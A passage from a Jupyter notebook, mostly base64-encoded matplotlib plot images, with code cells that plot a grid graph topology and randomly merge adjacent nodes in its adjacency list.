wBAAxQpgAABihTAAADlCkAgAHKFADAAGUKAGCA\nMgUAMECZAgAYoEwBAAxQpgAABihTAAADlCkAgAHKFADAgOcuU621T7TW/mJr7UuttZ9vrX36MoN9\naAcHee3kJLcfPUp2dpKDg0njlMuT1Mskz2blSeYZdnaSa9dqZKo4o0oqzqdaJnnkuQy99+d6JPlY\nkm9Z/P1rkvy1JK8t+5rd3d1+Jfb3e5/N+p2k30l6T3qfzebrU6iWp2ImeTYrz5lM/TTP1JkqzqiS\nivOplkkeeVZIctgv0Ina/LXjWms/luRP9N6/8KzX7O3t9cPDw0vZ3xN2dpKjo9xdbN4/Xd/eTh48\nuPz9XTDPzSTvJrm9WH6vtbx948b68yR56+Qkt3ovk0mezcpzNtNnkrx5Zn3qGd1dbN8/fWKq9301\nfg7J84LmubvYvn/6xBW+51trb/Te91a97vol7WwnyTcn+ekPeO71JK8nya1bty5jd097+DDJ4wN9\nfn3tFvt99dzyK5dUXJ/HzcW+q2SSZ7lqeZLHmc6bekZl3vfV+Dm0kjzLVc1T8j1/kctXyx5Jfn2S\nN5L8K6tee2Uf821vP/nRw+lje/tq9rdpeSpmkmez8lTMVC1PNRXnUy2TPPKskAt+zDf0f/O11n5N\nkj+X5KD3/qPDze553buXzGZPrs1m83V55qplkmez8iT1MlXLU03F+VTLJI88l+UijeuDHklakv8u\nyecu+jVXdmWq99739/tRa/3905Y69U2o1fL0Xi+TPCvz9O3t3lurkaf3kjMqlaeaivOplkmelXlK\n/Rxa83xy1Tegt9b+2SR/OcnPJfkHi+V/t/f+E8/6miu7AX1ha2srSXJ8fHxl+/gwquVJ6mWSZ/NU\nm1G1PNVUnE+1TPJslnXO58pvQO+9/6+ZX50CAHhp+RfQAQAGKFMAAAOUKQCAAcoUAMAAZQoAYIAy\nBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAG\nKFMAAAOUKQCAAcoUAMAAZQoAYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMAAZQoA\nYIAyBQAwQJkCABigTAEADFCmAAAGKFMAAAOUKQCAAcoUAMCAF6dMHRzktZOT3H70KNnZSQ4O5Dmv\nWiZ5Nk+1GRXMk52d5Nq1MnlKzSepl0mezVJ1Pr33tT12d3f7ldjf730263eSfifpPel9NpuvT6Fa\nnoqZ5Nk81WZUNE8/zVIkT5n5VMwkz2aZYD5JDvsF+k2bv3Y99vb2+uHh4eV/452d5Ogodxeb90/X\nt7eTBw8uf38XzHMzybtJbi+W32stb9+4sf48Sd46Ocmt3svNSJ4NUm1Gxd5np++xzyR588z61Hnu\nLrbvnz4x5Tld9JhVy3N3sX3/9Ak/h+Ym+BnUWnuj97636nXXr2Tv6/bwYZLHb4Tz62u32O+r55Zf\nWWNxPe/mYt/VZiTPBqk2o2Lvs5vP2O/UecocrzP7rnbMquUpdcwqqfYz6IwX6srUUyb+jfkpBX4j\nfIoZzVXLU1G1GcmzXLU8Sb1M8myWCeZz0StTL8YN6PfuJbPZk2uz2XxdnrlqmeTZPNVmJM9m5Unq\nZZJns1Sez0VurLqsx5XdgN577/v7/ai1/n7S+/b29DfsVcvTe71M8myeajOSZ7Py9F4vkzybZX9/\nPpfW1jKfvFQ3oC9sbW0lSY6Pj69sHx9GtTxJvUzybJ5qM5JnuWp5knqZ5OFZXq6P+QAAJqJMAQAM\nUKYAAAYoUwAAA5QpAIAByhQAwABlCgBggDIFADBAmQIAGKBMAQAMUKYAAAYoUwAAA5QpAIAByhQA\nwABlCgBggDIFADBAmQIAGKBMAQAMUKYAAAYoUwAAA5QpAIAByhQAwABlCgBggDIFADBAmQIAGKBM\nAQAMUKYAAAYoUwAAA5QpAIAByhQAwABlCgBggDIFADBAmQIAGKBMAQAMUKYAAAYoUwAAA5QpAIAB\nQ2WqtfbJ1tqXW2u/1Fr77GWFei4HB3nt5CS3Hz1KdnaSg4NJ45TLk9TLJM/KPNnZSa5dq5EnKTkj\neTYoT1Ivkzxcht77cz2SfCS5qKg2AAAHNUlEQVTJ/5HkNyV5JcnPJnlt2dfs7u72K7G/3/ts1u8k\n/U7Se9L7bDZfn0K1PBUzyXOhPP00y9R5zmSqNiN5NiRPxUzysEKSw36BTtTmr/3wWmvfluQ/6L3/\njsX29y3K2X/8rK/Z29vrh4eHz7W/pXZ2kqOj3EzybpLbi+X3WsvbN25c/v5WeOvkJLd6L5OnYqaq\nee4utu+fPrG9nTx4sPY8p+f0Z5K8eWbZOfR0nruL7funT0x8zKrlqXK8krrnULU8dxfb90+fmOoc\nIq21N3rve6ted31gHx9P8pUz2+8k+ac/IMjrSV5Pklu3bg3sbomHD5Mkr55bfuU5i+Kom4v9VsmT\n1MtUNc/t808szq21e8Z+nUOPVT1m1fJUOV5J3XOoWp4y5xAXNnJl6ncn+R299399sf0HkvzW3vv3\nPutrrvrK1FMm/o3wKVP+dlEtkzzLVcuT1Mskz3LV8iT1MsnDChe9MjVyA/o7ST5xZvtmkr818P2e\n3717yWz25NpsNl+XZ65aJnk2K09SL5M8m5UnqZdJHi7LRW6s+qBH5h8R/vUkX5/HN6D/k8u+5spu\nQO99foPe9nbvrc3/nPqGvWp5eq+XSZ7NytN7vUzybFae3utlkoclctU3oCdJa+13Jvlc5v9n3w/0\n3pfW5yv7mA8A4JKt4wb09N5/IslPjHwPAIBN5l9ABwAYoEwBAAxQpgAABihTAAADlCkAgAHKFADA\nAGUKAGCAMgUAMECZAgAYoEwBAAxQpgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUAMECZAgAYoEwB\nAAxQpgAABrTe+/p21tqvJDm64t18NMnfueJ9bDozWs58VjOj5cxnNTNaznyWW9d8tnvvr6560VrL\n1Dq01g5773tT56jMjJYzn9XMaDnzWc2MljOf5arNx8d8AAADlCkAgAEvYpn6k1MH2ABmtJz5rGZG\ny5nPama0nPksV2o+L9w9UwAA6/QiXpkCAFibF6pMtdY+2Vr7cmvtl1prn506TyWttU+01v5ia+1L\nrbWfb619eupMFbXWPtJa+6uttc9PnaWi1tpWa+1HWmu/sDiXvm3qTNW01v7Q4j32xdbaD7fWfu3U\nmabUWvuB1tovt9a+eGbt61prX2it/eLiz6+dMuPUnjGj/2TxPnurtfY/tta2psw4pQ+az5nn/khr\nrbfWPjpFtlMvTJlqrX0kyX+R5F9K8lqS39tae23aVKX8/ST/du/9n0jyrUn+TfP5QJ9O8qWpQxT2\n/Un+fO/9Nyf5LTGrJ7TWPp7kDybZ671/U5KPJPk906aa3A8m+eS5tc8m+ane+zck+anF9svsB/P0\njL6Q5Jt67/9Ukr+W5PvWHaqQH8zT80lr7RNJfnuSh+sOdN4LU6aS/NYkv9R7/+u99/eS/Okk3z1x\npjJ671/tvf/M4u//T+b/Efz4tKlqaa3dTPK7kvypqbNU1Fq7keSfT/LfJEnv/b3e+/G0qUq6nuQf\nbq1dTzJL8rcmzjOp3vtfSvJ/nVv+7iQ/tPj7DyX5l9caqpgPmlHv/Sd7739/sflXktxce7AinnEO\nJcl/nuSPJpn85u8XqUx9PMlXzmy/E2XhA7XWdpJ8c5KfnjZJOZ/L/I35D6YOUtRvSvIrSf7bxUeh\nf6q19uumDlVJ7/1vJvlPM/9N+atJHvXef3LaVCX9o733rybzX/SS/IaJ81T3ryX5n6cOUUlr7buS\n/M3e+89OnSV5scpU+4C1ydtqNa21X5/kzyX5TO/9ZOo8VbTWvjPJL/fe35g6S2HXk3xLkv+q9/7N\nSf5ufDzzhMW9P9+d5OuT/GNJfl1r7fdPm4pN1lr7Y5nfpnEwdZYqWmuzJH8syb8/dZZTL1KZeifJ\nJ85s38xLfnn9vNbar8m8SB303n906jzFfHuS72qtPcj8I+Lf1lrbnzZSOe8keaf3fnpF80cyL1c8\n9i8k+Ru991/pvf+9JD+a5J+ZOFNF/2dr7WNJsvjzlyfOU1Jr7VNJvjPJ7+v+HaOz/vHMf2H52cXP\n7JtJfqa19hunCvQilan/Pck3tNa+vrX2SuY3ff74xJnKaK21zO91+VLv/T+bOk81vffv673f7L3v\nZH7u/IXeuysKZ/Te/3aSr7TWvnGx9B1J3p4wUkUPk3xra222eM99R9yk/0F+PMmnFn//VJIfmzBL\nSa21Tyb5d5J8V+/9/506TyW995/rvf+G3vvO4mf2O0m+ZfEzahIvTJla3Kj3byX5XzL/4fVneu8/\nP22qUr49yR/I/IrLm4vH75w6FBvne5MctNbeSnI7yX80cZ5SFlftfiTJzyT5ucx/xpb6l5rXrbX2\nw0n+tyTf2Fp7p7X2PUn+eJLf3lr7xcz/b6w/PmXGqT1jRn8iydck+cLi5/V/PWnICT1jPqX4F9AB\nAAa8MFemAACmoEwBAAxQpgAABihTAAADlCkAgAHKFADAAGUKAGCAMgUAMOD/B6k6fkyTYGzKAAAA\nAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x110392828>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plot_topology(Adj, M, N)" ] }, { "cell_type": "code", "execution_count": 140, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\n", "merge = np.random.choice(range(M*N), replace=False, size=30)\n", "for u in merge:\n", " if Adj[u]:\n", " v = np.random.choice(Adj[u])\n", " \n", " # Disconnect v from u\n", " Adj[v].remove(u)\n", " Adj[u].remove(v)\n", " \n", " ## transfer all the remaining edges to v\n", " for w in Adj[u]:\n", " if w not in Adj[v]:\n", " Adj[v].append(w)\n", " Adj[w].append(v)\n", " Adj[w].remove(u)\n", " \n", "\n", " Adj[u] = []" ] }, { "cell_type": "code", "execution_count": 141, "metadata": {}, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAlMAAAJCCAYAAADky0LWAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMS4yLCBo\ndHRwOi8vbWF0cGxvdGxpYi5vcmcvNQv5yAAAIABJREFUeJzs3Xt4jNfeP/73PYmIaSQRmq2ERD0t\ndlu1JSOIEjSiRYNSx19Tqlq2Qyl9UIdWCd3aolx1qTxKZTxUsJtNVAmhIcg4fBV7q3oq0aLYJBFE\nJLN+f+SwRxxymMNaM/N+XVeu7rlnMvd7r7Vm8rFmzbo1IQSIiIiIqHp0sgMQEREROTMWU0RERERW\nYDFFREREZAUWU0RERERWYDFFREREZAUWU0RERERWYDFFREREZAUWU0RERERWYDFFREREZAVPR56s\nXr16IiQkxJGnJCIiIqqWw4cPXxVCPF7R4xxaTIWEhMBkMjnylERERETVomlaZmUex4/5iIiIiKzA\nYoqIiIjICiymiIiIiKzAYoqIiIjICiymiIiIiKzAYoqIiIjICiymiIiIiKzAYoqIiIjICiymiIiI\niKzAYoqIiIjICiymiIiIiKzAYoqIiIjICiymiIiIiKzAYoqIiIjICiymiIiIiKzAYoqIiIjICiym\niIiIiKzAYoqIiIjICiymiIiIiKzAYoqIiIjICq5TTBmNQEgIoNMV/9dolJ1IPaq1EfM4Vx5AvUyq\n5VGNiu2jWibV8qhGtfZRLU8pIYTDfkJDQ4VdJCQIodcLAYg7gBBA8e2EBPuczxlZtJFQoY1K8twF\nRKFCeVRrH2XyqJipJM8dQJhVyKMa1fpLxUwWY0iJPKpRtL8cmQeASVSivtGKH+sYYWFhwmQy2f6J\nQ0KAzEx8AmATgD0AvAEgOBg4d87253NGJW30LoBjFocLNA2nfH0dHud4bi4ChUCzkttNFMjTWAil\n2kelPCpmOp6bC38h8BKA3gAml97B132xktf8fWS2j4LvQ7WEwJ8BBAB4QnIe1aj4mm/8oJrFjmNa\n07TDQoiwih7nGh/zZWUBAJoDOATgHQDC4jjhoW3h5cBi2lKQEKgJwBdAFoArCuR5EOb5D9UyBQmB\n2gAaApgCYHvpHXzdF3tYO8hsHwXfhwIA6AGcAZArOY9qVHzNP5AKr/nKTF/Z6sduH/MFB5dN+X1Y\n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